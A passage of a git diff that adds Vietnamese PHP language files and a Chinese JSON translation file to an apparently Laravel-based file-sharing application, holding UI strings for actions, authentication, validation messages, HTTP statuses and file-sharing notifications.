bí mật của bản cài đặt này, nên các biểu mẫu được bảo vệ đang được cho qua mà không kiểm tra. Hãy kiểm tra khóa bí mật bên dưới.", + "Your public forms are protected. You can switch to your own keys at any time.": "Các biểu mẫu công khai của bạn đã được bảo vệ. Bạn có thể chuyển sang khóa của riêng mình bất cứ lúc nào." +} diff --git a/lang/vi/actions.php b/lang/vi/actions.php new file mode 100644 index 00000000..60a0c50c --- /dev/null +++ b/lang/vi/actions.php @@ -0,0 +1,119 @@ + 'Chấp nhận', + 'action' => 'Hoạt động', + 'actions' => 'hành động', + 'add' => 'Thêm vào', + 'admin' => 'Quản trị viên', + 'agree' => 'Đồng ý', + 'archive' => 'Lưu trữ', + 'assign' => 'Giao phó', + 'associate' => 'Kết hợp', + 'attach' => 'Gắn', + 'browse' => 'Duyệt qua', + 'cancel' => 'Hủy bỏ', + 'choose' => 'Chọn', + 'choose_file' => 'Chọn tập tin', + 'choose_image' => 'Chọn hình ảnh', + 'click_to_copy' => 'Bấm để sao chép', + 'close' => 'Đóng', + 'collapse' => 'Sụp đổ', + 'collapse_all' => 'Thu gọn tất cả', + 'comment' => 'Bình luận', + 'confirm' => 'Xác nhận', + 'connect' => 'Kết nối', + 'create' => 'Tạo nên', + 'delete' => 'Xóa bỏ', + 'detach' => 'tách ra', + 'details' => 'Chi tiết', + 'disable' => 'Vô hiệu hóa', + 'discard' => 'Loại bỏ', + 'done' => 'Xong', + 'down' => 'Xuống', + 'duplicate' => 'Nhân bản', + 'edit' => 'Biên tập', + 'enable' => 'Cho phép', + 'expand' => 'Mở rộng', + 'expand_all' => 'Mở rộng tất cả', + 'explanation' => 'Giải trình', + 'export' => 'Xuất khẩu', + 'file' => 'Tài liệu', + 'files' => 'Các tập tin', + 'go_home' => 'Về nhà', + 'hide' => 'Trốn', + 'home' => 'Trang chủ', + 'image' => 'Hình ảnh', + 'impersonate' => 'Mạo danh', + 'impersonation' => 'mạo danh', + 'import' => 'Nhập khẩu', + 'introduction' => 'Giới thiệu', + 'like' => 'Giống', + 'load' => 'Trọng tải', + 'localize' => 'Bản địa hóa', + 'log_in' => 'Đăng nhập', + 'log_out' => 'Đăng xuất', + 'named' => [ + 'add' => 'Thêm :name', + 'choose' => 'Chọn :name', + 'create' => 'Tạo :name', + 'delete' => 'Xóa :name', + 'duplicate' => 'Trùng lặp: tên', + 'edit' => 'Chỉnh sửa :name', + 'export' => 'Xuất khẩu :name', + 'hide' => 'Ẩn :name', + 'import' => 'Nhập khẩu :name', + 'new' => ':name mới', + 'restore' => 'Khôi phục :name', + 'save' => 'Tiết kiệm :name', + 'search' => 'Tìm kiếm :name', + 'show' => 'Hiển thị :name', + 'update' => 'Cập nhật :name', + 'view' => 'Xem :name', + ], + 'new' => 'Mới', + 'no' => 'KHÔNG', + 'open' => 'Mở', + 'open_website' => 'Mở trên trang web', + 'preview' => 'Xem trước', + 'price' => 'Giá', + 'record' => 'Ghi', + 'restore' => 'Khôi phục', + 'save' => 'Cứu', + 'save_and_close' => 'Lưu & Đóng', + 'save_and_return' => 'Lưu & Trả lại', + 'search' => 'Tìm kiếm', + 'select' => 'Lựa chọn', + 'select_all' => 'Chọn tất cả', + 'send' => 'Gửi', + 'settings' => 'Cài đặt', + 'show' => 'Trình diễn', + 'show_all' => 'Hiển thị tất cả', + 'sign_in' => 'Đăng nhập', + 'solve' => 'Gỡ rối', + 'start' => 'Bắt đầu', + 'stop' => 'Dừng lại', + 'submit' => 'Nộp', + 'subscribe' => 'Đặt mua', + 'switch' => 'Công tắc', + 'switch_to_role' => 'Chuyển sang vai trò', + 'tag' => 'Nhãn', + 'tags' => 'Thẻ', + 'target_link' => [ + 'blank' => 'Mở trong một cửa sổ mới', + 'parent' => 'Mở trong khung cha', + 'self' => 'Mở trong cửa sổ hiện tại', + 'top' => 'Mở ở khung trên cùng', + ], + 'translate' => 'Dịch', + 'translate_it' => 'Dịch nó', + 'unpack' => 'Giải nén', + 'unsubscribe' => 'Hủy đăng ký', + 'up' => 'Hướng lên', + 'update' => 'Cập nhật', + 'user' => 'Người dùng', + 'view' => 'Xem', + 'yes' => 'Đúng', +]; diff --git a/lang/vi/auth.php b/lang/vi/auth.php new file mode 100644 index 00000000..e5a9e0ab --- /dev/null +++ b/lang/vi/auth.php @@ -0,0 +1,9 @@ + 'Thông tin tài khoản không tìm thấy trong hệ thống.', + 'password' => 'Mật khẩu không đúng.', + 'throttle' => 'Vượt quá số lần đăng nhập cho phép. Vui lòng thử lại sau :seconds giây.', +]; diff --git a/lang/vi/http-statuses.php b/lang/vi/http-statuses.php new file mode 100644 index 00000000..1f43930a --- /dev/null +++ b/lang/vi/http-statuses.php @@ -0,0 +1,84 @@ + 'Lỗi Không Xác Định', + '100' => 'Tiếp Tục', + '101' => 'Chuyển Đổi Giao Thức', + '102' => 'Đang Xử Lí', + '200' => 'VÂNG', + '201' => 'Đã Tạo', + '202' => 'Đã Chấp Nhận', + '203' => 'Thông Tin Không Có Thẩm Quyền', + '204' => 'Không Có Nội Dung', + '205' => 'Đặt Lại Nội Dung', + '206' => 'Nội Dung Một Phần', + '207' => 'Đa Trạng Thái', + '208' => 'Đã Được Báo Cáo', + '226' => 'Tôi Đã Sử Dụng', + '300' => 'Nhiều Sự Lựa Chọn', + '301' => 'Chuyển Hướng Vĩnh Viễn', + '302' => 'Tìm Thấy', + '303' => 'Xem Cái Khác', + '304' => 'Không Có Thay Đổi', + '305' => 'Dùng Proxy', + '307' => 'Chuyển Hướng Tạm Thời', + '308' => 'Chuyển Hướng Vĩnh Viễn', + '400' => 'Yêu Cầu Không Hợp Lệ', + '401' => 'Không Được Phép', + '402' => 'Yêu Cầu Thanh Toán', + '403' => 'Cấm Truy Cập', + '404' => 'Không Tìm Thấy', + '405' => 'Phương Thức Không Được Phép', + '406' => 'Không Thể Chấp Nhận', + '407' => 'Yêu Càu Xác Thực Proxy', + '408' => 'Quá Thời Gian Yêu Cầu', + '409' => 'Xung Đột', + '410' => 'Không Còn', + '411' => 'Yêu Cầu Chiều Dài', + '412' => 'Điều Kiện Tiên Quyết Không Thành Công', + '413' => 'Tải Trọng Quá Lớn', + '414' => 'URI Quá Dài', + '415' => 'Loại Phương Tiện Không Được Hỗ Trợ', + '416' => 'Phạm Vi Không Đạt Yêu Cầu', + '417' => 'Kỳ Vọng Không Thành Công', + '418' => 'Tôi là teapot', + '419' => 'Phiên Đã Hết Hạn', + '421' => 'Yêu Cầu Sai Hướng', + '422' => 'Không Thể Xử Lí yêu Cầu', + '423' => 'Đã Khóa', + '424' => 'Không Phụ Thuộc', + '425' => 'Quá Sớm', + '426' => 'Yêu Cầu Nâng Cấp', + '428' => 'Yêu Cầu Điều Kiện Tiên Quyết', + '429' => 'Quá Nhiều Yêu Cầu', + '431' => 'Header Của Yêu Cầu Quá Lớn', + '444' => 'Đóng Kết Nối Với Không Phản Hồi', + '449' => 'Thử Lại Với', + '451' => 'Không Có Sẵn Vì Lí Do Pháp Lí', + '499' => 'Khách Đóng Yêu Cầu', + '500' => 'Lỗi Từ Máy Chủ Nội Bộ', + '501' => 'Không Được Thực Hiện', + '502' => 'Cổng Không Hợp Lệ', + '503' => 'Trạng Thái Bảo Trì', + '504' => 'Quá Thời Gian Phản Hồi Của Cổng', + '505' => 'Phiên Bản HTTP Không Được Hỗ Trợ', + '506' => 'Biến Thể Cũng Đàm Phán', + '507' => 'Không Đủ Bộ Nhớ', + '508' => 'Phát Hiện Lặp', + '509' => 'Giới Hạn Băng Thông', + '510' => 'Không Mở Rộng', + '511' => 'Yêu Cầu Xác Thực Mạng', + '520' => 'Không Xác Địng', + '521' => 'Máy Chủ Web Đã Tắt', + '522' => 'Quá Thời Gian Kết Nối', + '523' => 'Nguồn Gốc Không Chấp Nhận', + '524' => 'Xảy Ra Thời Gian Chờ', + '525' => 'Kết Nối SSL Không Thành Công', + '526' => 'Chứng Chỉ SSL Không Hợp Lệ', + '527' => 'Lỗi Railgun', + '598' => 'Lỗi Hết Thời Gian Đọc Mạng', + '599' => 'Lỗi Quá Thời Gian Kết Nối Mạng', + 'unknownError' => 'Lỗi Không Xác Định', +]; diff --git a/lang/vi/pagination.php b/lang/vi/pagination.php new file mode 100644 index 00000000..3df0784d --- /dev/null +++ b/lang/vi/pagination.php @@ -0,0 +1,8 @@ + 'Trang sau »', + 'previous' => '« Trang trước', +]; diff --git a/lang/vi/passwords.php b/lang/vi/passwords.php new file mode 100644 index 00000000..4d6d7c21 --- /dev/null +++ b/lang/vi/passwords.php @@ -0,0 +1,11 @@ + 'Mật khẩu mới đã được cập nhật!', + 'sent' => 'Hướng dẫn cấp lại mật khẩu đã được gửi!', + 'throttled' => 'Vui lòng đợi trước khi thử lại.', + 'token' => 'Mã khôi phục mật khẩu không hợp lệ.', + 'user' => 'Không tìm thấy người dùng với địa chỉ email này.', +]; diff --git a/lang/vi/validation.php b/lang/vi/validation.php new file mode 100644 index 00000000..9dd18f8e --- /dev/null +++ b/lang/vi/validation.php @@ -0,0 +1,288 @@ + 'Trường :attribute phải được chấp nhận.', + 'accepted_if' => 'Trường :attribute phải được chấp nhận khi :other là :value.', + 'active_url' => 'Trường :attribute không phải là một URL hợp lệ.', + 'after' => 'Trường :attribute phải là một ngày sau ngày :date.', + 'after_or_equal' => 'Trường :attribute phải là thời gian bắt đầu sau hoặc đúng bằng :date.', + 'alpha' => 'Trường :attribute chỉ có thể chứa các chữ cái.', + 'alpha_dash' => 'Trường :attribute chỉ có thể chứa chữ cái, số và dấu gạch ngang.', + 'alpha_num' => 'Trường :attribute chỉ có thể chứa chữ cái và số.', + 'any_of' => 'Trường :attribute không hợp lệ.', + 'array' => 'Trường :attribute phải là dạng mảng.', + 'ascii' => 'Trường :attribute chỉ được chứa các ký tự chữ số và ký hiệu một byte.', + 'before' => 'Trường :attribute phải là một ngày trước ngày :date.', + 'before_or_equal' => 'Trường :attribute phải là thời gian bắt đầu trước hoặc đúng bằng :date.', + 'between' => [ + 'array' => 'Trường :attribute phải có từ :min - :max phần tử.', + 'file' => 'Dung lượng tập tin trong trường :attribute phải từ :min - :max kB.', + 'numeric' => 'Trường :attribute phải nằm trong khoảng :min - :max.', + 'string' => 'Trường :attribute phải từ :min - :max kí tự.', + ], + 'boolean' => 'Trường :attribute phải là true hoặc false.', + 'can' => 'Trường :attribute chứa một giá trị trái phép.', + 'confirmed' => 'Giá trị xác nhận trong trường :attribute không khớp.', + 'contains' => 'Trường :attribute phải chứa một trong các giá trị sau: :values.', + 'current_password' => 'Mật khẩu không đúng.', + 'date' => 'Trường :attribute không phải là định dạng của ngày-tháng.', + 'date_equals' => 'Trường :attribute phải là một ngày bằng với :date.', + 'date_format' => 'Trường :attribute không giống với định dạng :format.', + 'decimal' => 'Trường :attribute phải có :decimal chữ số thập phân.', + 'declined' => 'Trường :attribute phải bị từ chối.', + 'declined_if' => 'Trường :attribute phải bị từ chối khi :other là :value.', + 'different' => 'Trường :attribute và :other phải khác nhau.', + 'digits' => 'Độ dài của trường :attribute phải gồm :digits chữ số.', + 'digits_between' => 'Độ dài của trường :attribute phải nằm trong khoảng :min - :max chữ số.', + 'dimensions' => 'Trường :attribute có kích thước không hợp lệ.', + 'distinct' => 'Trường :attribute có giá trị trùng lặp.', + 'doesnt_contain' => 'Trường :attribute không được chứa bất kỳ mục nào sau đây: :values.', + 'doesnt_end_with' => 'Trường :attribute không được kết thúc bằng một trong những điều kiện sau: :values.', + 'doesnt_start_with' => 'Trường :attribute không được bắt đầu bằng một trong những điều sau: :values.', + 'email' => 'Trường :attribute phải là một địa chỉ email hợp lệ.', + 'encoding' => 'The :attribute field must be encoded in :encoding.', + 'ends_with' => 'Trường :attribute phải kết thúc bằng một trong những giá trị sau: :values', + 'enum' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', + 'exists' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', + 'extensions' => 'Trường :attribute phải có một trong các phần mở rộng sau: :values.', + 'file' => 'Trường :attribute phải là một tệp tin.', + 'filled' => 'Trường :attribute không được bỏ trống.', + 'gt' => [ + 'array' => 'Mảng :attribute phải có nhiều hơn :value phần tử.', + 'file' => 'Dung lượng trường :attribute phải lớn hơn :value kilobytes.', + 'numeric' => 'Giá trị trường :attribute phải lớn hơn :value.', + 'string' => 'Độ dài trường :attribute phải nhiều hơn :value kí tự.', + ], + 'gte' => [ + 'array' => 'Mảng :attribute phải có ít nhất :value phần tử.', + 'file' => 'Dung lượng trường :attribute phải lớn hơn hoặc bằng :value kilobytes.', + 'numeric' => 'Giá trị trường :attribute phải lớn hơn hoặc bằng :value.', + 'string' => 'Độ dài trường :attribute phải lớn hơn hoặc bằng :value kí tự.', + ], + 'hex_color' => 'Trường :attribute phải là một mã màu hex hợp lệ.', + 'image' => 'Trường :attribute phải là định dạng hình ảnh.', + 'in' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', + 'in_array' => 'Trường :attribute phải thuộc tập cho phép: :other.', + 'in_array_keys' => 'Trường :attribute phải chứa ít nhất một trong các khóa sau: :values.', + 'integer' => 'Trường :attribute phải là một số nguyên.', + 'ip' => 'Trường :attribute phải là một địa chỉ IP.', + 'ipv4' => 'Trường :attribute phải là một địa chỉ IPv4.', + 'ipv6' => 'Trường :attribute phải là một địa chỉ IPv6.', + 'json' => 'Trường :attribute phải là một chuỗi JSON.', + 'list' => 'Trường :attribute phải là một danh sách.', + 'lowercase' => 'Trường :attribute phải là chữ thường.', + 'lt' => [ + 'array' => 'Mảng :attribute phải có ít hơn :value phần tử.', + 'file' => 'Dung lượng trường :attribute phải nhỏ hơn :value kilobytes.', + 'numeric' => 'Giá trị trường :attribute phải nhỏ hơn :value.', + 'string' => 'Độ dài trường :attribute phải nhỏ hơn :value kí tự.', + ], + 'lte' => [ + 'array' => 'Mảng :attribute không được có nhiều hơn :value phần tử.', + 'file' => 'Dung lượng trường :attribute phải nhỏ hơn hoặc bằng :value kilobytes.', + 'numeric' => 'Giá trị trường :attribute phải nhỏ hơn hoặc bằng :value.', + 'string' => 'Độ dài trường :attribute phải nhỏ hơn hoặc bằng :value kí tự.', + ], + 'mac_address' => 'Trường :attribute phải là một địa chỉ MAC hợp lệ.', + 'max' => [ + 'array' => 'Trường :attribute không được lớn hơn :max phần tử.', + 'file' => 'Dung lượng tập tin trong trường :attribute không được lớn hơn :max kB.', + 'numeric' => 'Trường :attribute không được lớn hơn :max.', + 'string' => 'Trường :attribute không được lớn hơn :max kí tự.', + ], + 'max_digits' => 'Trường :attribute không được lớn hơn :max kí tự.', + 'mimes' => 'Trường :attribute phải là một tập tin có định dạng: :values.', + 'mimetypes' => 'Trường :attribute phải là một tập tin có định dạng: :values.', + 'min' => [ + 'array' => 'Trường :attribute phải có tối thiểu :min phần tử.', + 'file' => 'Dung lượng tập tin trong trường :attribute phải tối thiểu :min kB.', + 'numeric' => 'Trường :attribute phải tối thiểu là :min.', + 'string' => 'Trường :attribute phải có tối thiểu :min kí tự.', + ], + 'min_digits' => 'Trường :attribute phải có tối thiểu :min chữ số.', + 'missing' => 'Trường :attribute phải bị thiếu.', + 'missing_if' => 'Trường :attribute phải bị thiếu khi :other là :value.', + 'missing_unless' => 'Trường :attribute phải bị thiếu trừ khi :other là :value.', + 'missing_with' => 'Trường :attribute phải bị thiếu khi có :values.', + 'missing_with_all' => 'Trường :attribute phải bị thiếu khi có :values trường.', + 'multiple_of' => 'Trường :attribute phải là bội số của :value', + 'not_in' => 'Giá trị đã chọn trong trường :attribute không hợp lệ.', + 'not_regex' => 'Trường :attribute có định dạng không hợp lệ.', + 'numeric' => 'Trường :attribute phải là một số.', + 'password' => [ + 'letters' => 'Trường :attribute phải chứa ít nhất một chữ cái.', + 'mixed' => 'Trường :attribute phải chứa ít nhất một chữ cái in hoa và một chữ cái thường.', + 'numbers' => 'Trường :attribute phải chứa ít nhất một số.', + 'symbols' => 'Trường :attribute phải chứa ít nhất một ký tự đặc biệt.', + 'uncompromised' => 'Trường được nhận :attribute đã xuất hiện trong một vụ rò rỉ dữ liệu. Vui lòng chọn một :attribute khác.', + ], + 'present' => 'Trường :attribute phải được cung cấp.', + 'present_if' => 'Trường :attribute phải có mặt khi :other là :value.', + 'present_unless' => 'Trường :attribute phải có mặt trừ khi :other là :value.', + 'present_with' => 'Trường :attribute phải có mặt khi có :values.', + 'present_with_all' => 'Trường :attribute phải có mặt khi có :values.', + 'prohibited' => 'Trường :attribute bị cấm.', + 'prohibited_if' => 'Trường :attribute bị cấm khi :other là :value.', + 'prohibited_if_accepted' => 'Trường :attribute bị cấm khi :other được chấp nhận.', + 'prohibited_if_declined' => 'Trường :attribute bị cấm khi :other bị từ chối.', + 'prohibited_unless' => 'Trường :attribute bị cấm trừ khi :other là một trong :values.', + 'prohibits' => 'Trường :attribute cấm :other từ thời điểm hiện tại.', + 'regex' => 'Trường :attribute có định dạng không hợp lệ.', + 'required' => 'Trường :attribute không được bỏ trống.', + 'required_array_keys' => 'Trường :attribute phải bao gồm các mục nhập cho: :values.', + 'required_if' => 'Trường :attribute không được bỏ trống khi trường :other là :value.', + 'required_if_accepted' => 'Trường :attribute không được bỏ trống khi :other được chấp nhận.', + 'required_if_declined' => 'Trường :attribute không được bỏ trống khi :other bị từ chối.', + 'required_unless' => 'Trường :attribute không được bỏ trống trừ khi :other là :values.', + 'required_with' => 'Trường :attribute không được bỏ trống khi một trong :values có giá trị.', + 'required_with_all' => 'Trường :attribute không được bỏ trống khi tất cả :values có giá trị.', + 'required_without' => 'Trường :attribute không được bỏ trống khi một trong :values không có giá trị.', + 'required_without_all' => 'Trường :attribute không được bỏ trống khi tất cả :values không có giá trị.', + 'same' => 'Trường :attribute và :other phải giống nhau.', + 'size' => [ + 'array' => 'Trường :attribute phải chứa :size phần tử.', + 'file' => 'Dung lượng tập tin trong trường :attribute phải bằng :size kB.', + 'numeric' => 'Trường :attribute phải bằng :size.', + 'string' => 'Trường :attribute phải chứa :size kí tự.', + ], + 'starts_with' => 'Trường :attribute phải được bắt đầu bằng một trong những giá trị sau: :values', + 'string' => 'Trường :attribute phải là một chuỗi kí tự.', + 'timezone' => 'Trường :attribute phải là một múi giờ hợp lệ.', + 'ulid' => 'Trường :attribute phải là một ULID hợp lệ.', + 'unique' => 'Trường :attribute đã có trong cơ sở dữ liệu.', + 'uploaded' => 'Trường :attribute tải lên thất bại.', + 'uppercase' => 'Trường :attribute phải là chữ in hoa.', + 'url' => 'Trường :attribute không giống với định dạng một URL.', + 'uuid' => 'Trường :attribute phải là một chuỗi UUID hợp lệ.', + 'attributes' => [ + 'address' => 'địa chỉ', + 'affiliate_url' => 'URL liên kết', + 'age' => 'tuổi', + 'amount' => 'số lượng', + 'announcement' => 'thông báo', + 'area' => 'khu vực', + 'audience_prize' => 'giải thưởng khán giả', + 'audience_winner' => 'audience winner', + 'available' => 'có sẵn', + 'birthday' => 'ngày sinh nhật', + 'body' => 'nội dung', + 'city' => 'thành phố', + 'color' => 'color', + 'company' => 'company', + 'compilation' => 'biên soạn', + 'concept' => 'ý tưởng', + 'conditions' => 'điều kiện', + 'content' => 'nội dung', + 'contest' => 'contest', + 'country' => 'quốc gia', + 'cover' => 'che phủ', + 'created_at' => 'tạo lúc', + 'creator' => 'người sáng tạo', + 'currency' => 'tiền tệ', + 'current_password' => 'mật khẩu hiện tại', + 'customer' => 'khách hàng', + 'date' => 'ngày', + 'date_of_birth' => 'ngày sinh', + 'dates' => 'ngày', + 'day' => 'ngày', + 'deleted_at' => 'xoá lúc', + 'description' => 'mô tả', + 'display_type' => 'kiểu hiển thị', + 'district' => 'quận/huyện', + 'duration' => 'khoảng thời gian', + 'email' => 'e-mail', + 'excerpt' => 'trích dẫn', + 'filter' => 'lọc', + 'finished_at' => 'kết thúc lúc', + 'first_name' => 'tên', + 'gender' => 'giới tính', + 'grand_prize' => 'giải thưởng lớn', + 'group' => 'nhóm', + 'hour' => 'giờ', + 'image' => 'hình ảnh', + 'image_desktop' => 'hình ảnh máy tính để bàn', + 'image_main' => 'hình ảnh chính', + 'image_mobile' => 'hình ảnh di động', + 'images' => 'hình ảnh', + 'is_audience_winner' => 'khán giả là người chiến thắng', + 'is_hidden' => 'bị ẩn', + 'is_subscribed' => 'đã được đăng ký', + 'is_visible' => 'có thể nhìn thấy', + 'is_winner' => 'là người chiến thắng', + 'items' => 'mặt hàng', + 'key' => 'chìa khóa', + 'last_name' => 'họ', + 'lesson' => 'bài học', + 'line_address_1' => 'địa chỉ dòng 1', + 'line_address_2' => 'địa chỉ dòng 2', + 'login' => 'đăng nhập', + 'message' => 'lời nhắn', + 'middle_name' => 'tên đệm', + 'minute' => 'phút', + 'mobile' => 'di động', + 'month' => 'tháng', + 'name' => 'tên', + 'national_code' => 'mã quốc gia', + 'number' => 'số', + 'password' => 'mật khẩu', + 'password_confirmation' => 'xác nhận mật khẩu', + 'phone' => 'số điện thoại', + 'photo' => 'tấm ảnh', + 'portfolio' => 'danh mục đầu tư', + 'postal_code' => 'mã bưu điện', + 'preview' => 'xem trước', + 'price' => 'giá', + 'product_id' => 'ID sản phẩm', + 'product_uid' => 'UID sản phẩm', + 'product_uuid' => 'sản phẩm UUID', + 'promo_code' => 'mã khuyến mại', + 'province' => 'tỉnh/thành phố', + 'quantity' => 'Số lượng', + 'reason' => 'lý do', + 'recaptcha_response_field' => 'trường phản hồi recaptcha', + 'referee' => 'trọng tài', + 'referees' => 'trọng tài', + 'region' => 'region', + 'reject_reason' => 'lý do từ chối', + 'remember' => 'ghi nhớ', + 'restored_at' => 'khôi phục tại', + 'result_text_under_image' => 'văn bản kết quả dưới hình ảnh', + 'role' => 'vai diễn', + 'rule' => 'luật lệ', + 'rules' => 'quy tắc', + 'second' => 'giây', + 'sex' => 'giới tính', + 'shipment' => 'lô hàng', + 'short_text' => 'văn bản ngắn', + 'size' => 'kích thước', + 'skills' => 'kỹ năng', + 'slug' => 'sên', + 'specialization' => 'chuyên môn hóa', + 'started_at' => 'bắt đầu lúc', + 'state' => 'tình trạng', + 'status' => 'trạng thái', + 'street' => 'đường', + 'student' => 'học sinh', + 'subject' => 'tiêu đề', + 'tag' => 'nhãn', + 'tags' => 'thẻ', + 'teacher' => 'giáo viên', + 'terms' => 'điều kiện', + 'test_description' => 'mô tả thử nghiệm', + 'test_locale' => 'ngôn ngữ kiểm tra', + 'test_name' => 'tên kiểm tra', + 'text' => 'văn bản', + 'time' => 'thời gian', + 'title' => 'tiêu đề', + 'type' => 'kiểu', + 'updated_at' => 'cập nhật lúc', + 'user' => 'người dùng', + 'username' => 'tên đăng nhập', + 'value' => 'giá trị', + 'winner' => 'winner', + 'work' => 'work', + 'year' => 'năm', + ], +]; diff --git a/lang/zh_CN.json b/lang/zh_CN.json new file mode 100644 index 00000000..6c05fca9 --- /dev/null +++ b/lang/zh_CN.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName 上传了“:itemName”", + ":count accounts have this role": "有 :count 个账户使用此角色", + ":count awaiting approval": ":count 个待审批", + ":count downloads": ":count 次下载", + ":count file deleted.|:count files deleted.": "已删除 :count 个文件。|已删除 :count 个文件。", + ":count file imported.|:count files imported.": "已导入 :count 个文件。|已导入 :count 个文件。", + ":count files": ":count 个文件", + ":count folders": ":count 个文件夹", + ":count items have been shared with you": "有 :count 个项目已共享给你", + ":count members": ":count 位成员", + ":count selected": "已选择 :count 项", + ":files files": ":files 个文件", + ":itemName was shared with you": "“:itemName”已共享给你", + ":name will not be added to the group \":group\".": ":name 不会被加入群组“:group”。", + ":total total": "共 :total", + ":used / :limit downloads": ":used / :limit 次下载", + ":used MB of :quota MB used": "已用 :used MB,共 :quota MB", + ":used MB used, no limit": "已用 :used MB,不限容量", + "(and :count more error)": "(还有 :count 个错误)", + "(and :count more errors)": "(还有 :count 个错误)", + "(deleted account)": "(已删除的账户)", + "0 means unlimited.": "0 表示不限。", + "A client account request was approved": "客户账户申请已通过", + "A client account request was denied": "客户账户申请已拒绝", + "A client left a group": "客户退出了群组", + "A client registered an account": "客户注册了账户", + "A client requested to join a group": "客户申请加入群组", + "A client uploaded a file": "客户上传了文件", + "A client was added to a group": "客户已加入群组", + "A client was removed from a group": "客户已移出群组", + "A decryption key is required.": "需要解密密钥。", + "A file assignment was removed": "文件分配已取消", + "A file has been shared with you": "有文件共享给你", + "A file or folder was shared with you": "有文件或文件夹共享给你", + "A file was assigned": "文件已分配", + "A file was deleted": "文件已删除", + "A file was downloaded": "文件已被下载", + "A file was downloaded via a public link": "文件通过公开链接被下载", + "A file was downloaded via the public group listing": "文件通过公开群组列表被下载", + "A file was updated": "文件已更新", + "A file was uploaded": "文件已上传", + "A folder cannot be moved into itself.": "文件夹不能移动到自身内部。", + "A folder has been shared with you": "有文件夹共享给你", + "A folder was created": "文件夹已创建", + "A folder was deleted": "文件夹已删除", + "A folder was moved": "文件夹已移动", + "A folder was renamed": "文件夹已重命名", + "A folder was shared": "文件夹已共享", + "A folder was unshared": "文件夹已取消共享", + "A group membership request was approved": "群组成员申请已通过", + "A group membership request was denied": "群组成员申请已拒绝", + "A group membership was requested": "已提交群组成员申请", + "A group was created": "群组已创建", + "A group was deleted": "群组已删除", + "A group was updated": "群组已更新", + "A new client account was created: :name (:email).": "已创建新的客户账户::name(:email)。", + "A new client has registered": "有新客户完成注册", + "A new ProjectSend version is available": "ProjectSend 有新版本可用", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "群组一旦标记为公开,其页面始终可通过专属链接访问——此处仅用于设置基础网址,以及一个可选的目录页,把所有公开群组和文件集中列出。", + "A public link was created": "已创建公开链接", + "A public link was revoked": "公开链接已吊销", + "A role was created": "角色已创建", + "A role was deleted": "角色已删除", + "A role was updated": "角色已更新", + "A Timeout Occurred": "发生超时", + "About": "关于", + "Accept": "接受", + "Accepted": "已接受", + "Account": "账户", + "Account deletion grace period (days)": "账户删除宽限期(天)", + "Account is active": "账户已启用", + "Account Manager": "客户经理", + "Account request approved.": "账户申请已通过。", + "Account request denied.": "账户申请已拒绝。", + "Account requests": "账户申请", + "Account settings": "账户设置", + "Account type": "账户类型", + "Accounts": "账户", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "受此要求约束的账户,必须先设置两步验证才能继续使用本应用。", + "Action": "操作", + "Actions": "操作", + "Activate": "启用", + "Activated the account \":subject\"": "启用了账户“:subject”", + "Activating this account approves its pending request.": "启用此账户即表示通过它待处理的申请。", + "Active": "已启用", + "Activity": "动态", + "Activity log": "操作日志", + "Add": "添加", + "Add :name": "添加 :name", + "Add a category": "添加分类", + "Add a client": "添加客户", + "Add a second step to your login using an authenticator app.": "使用验证器应用,为登录添加第二道验证。", + "Add new clients to this group": "向此群组添加新客户", + "Added \":member\" to the group \":subject\"": "把“:member”加入了群组“:subject”", + "Admin": "管理员", + "Admin notification recipients": "管理通知收件人", + "Admin: client uploaded a file": "管理:客户上传了文件", + "Admin: group membership requested": "管理:收到群组成员申请", + "Admin: new client registered": "管理:新客户完成注册", + "Administration": "管理", + "After uploading you can assign it to clients and groups": "上传后可分配给客户和群组", + "Agree": "同意", + "All": "全部", + "All actions": "所有操作", + "All categories": "所有分类", + "All clients": "所有客户", + "All comments": "所有评论", + "All failed jobs deleted.": "已删除所有失败的任务。", + "All files": "所有文件", + "All groups": "所有群组", + "All permissions": "所有权限", + "All rights reserved.": "版权所有。", + "All roles": "所有角色", + "All statuses": "所有状态", + "All system users": "所有系统用户", + "All types": "所有类型", + "Already have an account?": "已有账户?", + "Already Reported": "已上报", + "Always": "始终", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "已为你创建账户,现在即可登录。", + "An account was activated": "账户已启用", + "An account was created": "账户已创建", + "An account was deactivated": "账户已停用", + "An account was deleted": "账户已删除", + "An account was permanently erased": "账户已彻底抹除", + "An account was updated": "账户已更新", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "管理员删除账户时每次都会被询问;用户自行删除的账户由系统无人值守地清除,并遵循此处的选择,因此不会有内容失去归属。", + "An administrator will review your group requests.": "管理员会审核你的群组申请。", + "An orphan file was deleted": "孤立文件已删除", + "An orphan file was imported": "孤立文件已导入", + "An overview of this installation": "本站点概览", + "Any audience": "任意可见范围", + "Anyone": "任何人", + "Anyone using it will no longer be able to download the file.": "正在使用它的人将无法再下载该文件。", + "Appearance": "外观", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "适用于面向访客的公开群组和文件页面,以及“我的文件”客户门户。", + "Apply filters": "应用筛选", + "Approve": "通过", + "Approve account requests": "审批账户申请", + "Approve group membership requests": "审批群组成员申请", + "Approved the account request of \":subject\"": "通过了“:subject”的账户申请", + "Approved the membership of \":member\" to the group \":subject\"": "通过了“:member”加入群组“:subject”的申请", + "Archive": "档案", + "Are deleted along with the account": "随账户一并删除", + "Are reassigned to another account": "转交给其他账户", + "Are you sure you want to delete your account?": "确定要删除你的账户吗?", + "Assign": "分配", + "Assign categories to files": "为文件分配分类", + "Assigned": "已分配", + "Assigned clients": "负责的客户", + "Assigned the file \":subject\" to :target": "把文件“:subject”分配给了 :target", + "Associate": "联系", + "Attach": "附加", + "Audience": "可见范围", + "Authentication code": "验证码", + "Authentication requirements for this installation": "本站点的身份验证要求", + "Author": "作者", + "Available groups": "可加入的群组", + "Available placeholders": "可用占位符", + "Back to My files": "返回“我的文件”", + "Bad Gateway": "网关错误", + "Bad Request": "请求错误", + "Bandwidth Limit Exceeded": "超出带宽限制", + "Blue": "蓝色", + "Body": "正文", + "Browse": "浏览", + "Browse publicly shared groups and files below.": "在下方浏览公开共享的群组和文件。", + "Built-in": "内置", + "Built-in role names 